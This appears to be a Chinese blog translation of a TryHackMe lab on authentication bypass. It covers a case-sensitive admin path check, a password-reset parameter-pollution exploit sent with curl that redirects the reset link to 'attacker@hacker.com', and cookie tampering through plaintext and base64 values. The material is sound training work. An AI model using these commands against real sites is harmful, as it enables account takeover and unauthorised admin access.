Featured image of post 身份验证绕过-1

身份验证绕过-1

身份验证绕过-1

身份验证绕过

用户名枚举

暴力

逻辑缺陷

什么是逻辑缺陷?

有时身份验证过程包含逻辑缺陷。逻辑缺陷是指应用程序的典型逻辑路径被黑客绕过、规避或纵。逻辑缺陷可以存在于网站的任何区域,但在这种情况下,我们将专注于与身份验证相关的示例。

逻辑缺陷示例

下面的模拟代码示例检查客户端正在访问的路径的开头是否以 /admin 开头,如果是,则进行进一步检查以查看客户端是否实际上是 admin。如果页面不以 /admin 开头,则会向客户端显示该页面。

1
2
3
4
5
if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}

因为上面的 PHP 代码示例使用了三个等号 (===),所以它正在查找字符串的完全匹配项,包括相同的字母大小写。该代码存在逻辑缺陷,因为请求 /adMin 的未经身份验证的用户将不会检查其权限,而是向他们显示页面,从而完全绕过身份验证检查。

逻辑缺陷实用

我们将检查 Acme IT 支持网站 (http://MACHINE_IP/customers/reset) 的重置密码 功能。我们看到一个表单,要求提供与我们希望执行密码重置的账户关联的电子邮件地址。如果输入的电子邮件无效,您将收到错误消息Account not found from provided email address

出于演示目的,我们将使用 email address robert@acmeitsupport.thm被接受。然后,我们会看到表单的下一阶段,该阶段要求提供与此登录电子邮件地址关联的用户名。如果我们输入 robert 作为用户名并按下 Check Username 按钮,您将看到一条确认消息,告知将向 robert@acmeitsupport.thm发送一封密码重置电子邮件。

在此阶段,您可能想知道此应用程序中的漏洞可能是什么,因为您必须知道电子邮件和用户名,然后将密码链接发送到帐户所有者的电子邮件地址。

在重置电子邮件过程的第二步中,用户名在 POST 字段中提交到 Web 服务器,电子邮件地址在查询字符串请求中作为 GET 字段发送。

让我们通过使用 curl 工具手动向 Web 服务器发出请求来说明这一点。

1
user@tryhackme$ curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'

我们使用该标志向请求添加额外的标头。在这种情况下,我们将 设置为 ,这让 Web 服务器知道我们正在发送表单数据,以便它正确理解我们的请求。

在应用程序中,使用查询字符串检索用户帐户,但稍后,在应用程序逻辑中,使用 PHP 变量 $_REQUEST 中的数据发送密码重置电子邮件。

PHP$_REQUEST 变量是一个数组,其中包含从查询字符串接收的数据和 POST 数据。如果查询字符串和 POST 数据使用相同的键名称,则此变量的应用程序逻辑优先使用 POST 数据字段而不是查询字符串,因此,如果我们向 POST 表单添加另一个参数,我们可以控制密码重置电子邮件的发送位置。

1
user@tryhackme$ curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

**下一步,您需要在 Acme IT 支持客户部分创建一个帐户,这样做会为您提供一个可用于创建支持票证的唯一电子邮件地址。电子邮件地址的格式为 {username}@customer.acmeitsupport.thm

现在重新运行 Curl 请求 2,但使用您的 @acmeitsupport。thm 在电子邮件字段中,您将在您的帐户上创建一个票证,其中包含一个链接,用于以 Robert 身份登录。使用 Robert 的帐户,您可以查看他们的支持票证并显示标志。

1
user@tryhackme:~$ curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

在联机会话期间检查和编辑 Web 服务器设置的 Cookie 可能会产生多种结果,例如未经身份验证的访问、访问其他用户帐户或提升的权限。

纯文本

某些 cookie 的内容可以是纯文本形式,并且它们的作用很明显。例如,如果这些是成功登录后设置的 Cookie:

1
2
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/

我们看到一个 Cookie (logged_in),它似乎用于控制用户当前是否登录,以及另一个 (admin),它控制访客是否具有管理员权限。使用这个逻辑,如果我们要更改 cookie 的内容并发出请求,我们将能够更改我们的权限。

首先,我们先请求目标页面:

1
user@tryhackme$ curl http://MACHINE_IP/cookie-test

我们可以看到我们返回了一条消息:Not Logged In

现在,我们将发送另一个请求,其中 logged_in Cookie 设置为 true,管理 Cookie 设置为 false:

1
user@tryhackme$ curl -H "Cookie: logged_in=true; admin=false" http://MACHINE_IP/cookie-test

我们收到消息:Logged In As A User

最后,我们将发送最后一个请求,将 logged_in 和 admin Cookie 都设置为 true:

1
user@tryhackme$ curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test

这将返回结果:Logged In As An Admin

Hashing 散列法

有时 Cookie 值看起来像一长串随机字符;这些称为哈希,它是原始文本的不可逆表示。以下是您可能会遇到的一些示例:

原始字符串 ** 哈希方法** 输出
1 md5 c4ca4238a0b923820dcc509a6f75849b
1 sha-256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
1 sha-512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
1 sha1 356a192b7913b04c54574d18c28d46e6395428ab

从上表中可以看出,同一输入字符串的哈希输出可能会因使用的哈希方法而显著不同。即使哈希是不可逆的,但每次都会产生相同的输出,这对我们很有帮助,因为 https://crackstation.net/ 等服务会保留数十亿个哈希及其原始字符串的数据库。

编码

编码类似于哈希,因为它会创建看似随机的文本字符串,但实际上,编码是可逆的。所以这就引出了一个问题,编码的意义何在?编码使我们能够将二进制数据转换为人类可读的文本,这些文本可以通过仅支持纯文本 ASCII 字符的介质轻松安全地传输。

常见的编码类型包括 base32 和 base64,前者将二进制数据转换为字符 A-Z 和 2-7,后者使用字符 a-z、A-Z、0-9、+ 和 equals 符号进行转换进行填充。

以以下数据为例,该数据由 Web 服务器在登录时设置:

1
Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/

这个字符串 base64 解码的值为 {“id”:1,“admin”: false} ,然后我们可以再次将其编码回 base64 编码,但将 admin 值设置为 true,这现在为我们提供了管理员访问权限。

使用 Hugo 构建
主题 StackJimmy 设计